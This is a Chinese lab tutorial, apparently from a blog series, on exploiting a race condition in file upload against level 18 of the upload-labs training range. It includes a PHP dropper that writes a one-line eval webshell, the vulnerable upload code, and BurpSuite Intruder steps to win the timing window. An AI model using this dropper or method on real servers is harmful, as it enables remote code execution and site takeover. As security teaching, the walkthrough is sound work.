【文件上传漏洞12】竞争条件攻击

1 概述

  1. 竞争条件攻击:一些网站上传文件的逻辑是先允许上传任意文件, 然后检查上传的文件是否包含WebShell脚本,如果包含则删除该文件。这里存在的问题是文件上传成功后和删除文件之间存在一个短的时间差(因为要执行检查文件和删除文件的操作),攻击者就可以利用这个时间差完成竞争条件的上传漏洞攻击。
  2. 分析:由于网站会检查客户端所上传的文件,但是不会检查其自己生成的文件,利用时间差让服务器生成一个他自己信任的WebShell脚本文件。

2 实验简介

2.1 实验目的

掌握利用业务逻辑漏洞、进行竞争条件攻击的方法,验证文件上传漏洞的存在。

2.2 实验环境

  1. 靶场:基于WAMP环境的upload-labs靶场,搭建过程可参考文章《基于WAMP环境的upload-labs漏洞测试平台搭建过程》。
  2. 攻击机:安装BurpSuite软件。

2.3 实验前准备

  1. 攻击者一般先准备一个txt文件,输入以下代码,并重命名为get.php。该文件被执行时将在同文件中生成一句话木马文件shell.php,连接密码为111。
<?php
fputs(fopen('shell.php','w'),'<?php @eval($_REQUEST[111]);?>');
?>

3 实验过程

  1. 真实机打开BurpSuite,进入proxy模块,打开自带浏览器访问靶场第18关,查看提示说需要代码审计。
    在这里插入图片描述
  2. 点击显示源码,显示网页对客户端所上传的文件检验代码如下。
    1. 第11行代码的判断条件中,先是执行了文件上传函数,然后根据文件上传是否成功再执行 if 语句函数体。
    2. 第12行代码中,函数判断所上传的文件后缀名是否在所列的白名单内。
    3. 也就是说服务端是先将文件上传了,再判断要不要删除,及时看起来是连着执行的,但还是存在极小的时间差,存在被利用竞争条件攻击的可能。
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg','png','gif');
    $file_name = $_FILES['upload_file']['name'];
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_ext = substr($file_name,strrpos($file_name,".")+1);
    $upload_file = UPLOAD_PATH . '/' . $file_name;

    if(move_uploaded_file($temp_file, $upload_file)){
        if(in_array($file_ext,$ext_arr)){
             $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
             rename($upload_file, $img_path);
             $is_upload = true;
        }else{
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);
        }
    }else{
        $msg = '上传出错!';
    }
}
  1. 在浏览器中选择上文准备好的文件get.php,先不点上传按钮。
    在这里插入图片描述

  2. 将BurpSuite的拦截功能开启,点击网页的上传按钮,可以看到BurpSuite拦截到请求如下,将其发送到intruder模块。
    在这里插入图片描述

  3. 在intruder模块中,点击clear将软件默认设置的变量删除掉。
    在这里插入图片描述

  4. 将payload进行如下设置。
    在这里插入图片描述

  5. 切换到resource pool界面,进行线程数量设置,此处需要新建一个并设置线程数量为50。本实验版本是V2021.12.1,之前网上找的资料估计是其他版本的,设置位置差异较大。
    在这里插入图片描述

  6. 点击右上角的开始攻击按钮。

  7. 打开浏览器输入http://192.168.1.4/upload-labs/upload/get.php一直刷新访问文件上传的文件,看到显示页面如下,就表示文件还来不及访问执行已经被删掉了。
    在这里插入图片描述

  8. 不要气馁,一致刷新访问,就会有惊喜,可以看到这次显示不一样,但是弹出的警告表示没有权限打开文件。
    在这里插入图片描述

  9. 进入靶机对应文件夹内,将upload文件夹权限修改为完全控制,并点击确定。
    在这里插入图片描述

  10. 再次一边攻击一边刷新页面,可以看到某一个刷新时显示为空白,就表示代码已经被成功执行了。
    在这里插入图片描述

  11. 打开靶机,查看到文件夹下确实已经成功生成了一句话木马文件,攻击完成。
    在这里插入图片描述

4 总结

  1. 理解业务逻辑漏洞的分析思路,该靶场是先保存后再删除,就存在这样的可利用漏洞,正确的开发思路应该是先对一切客户端的输入(包括文件)过滤没问题后,才允许进入服务端。
  2. 掌握利用竞争条件攻击逻辑漏洞的方法,该方法将适用于一切存在时间差的业务逻辑漏洞。

参考文献

  1. 通过条件竞争进行文件上传
  • 1
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值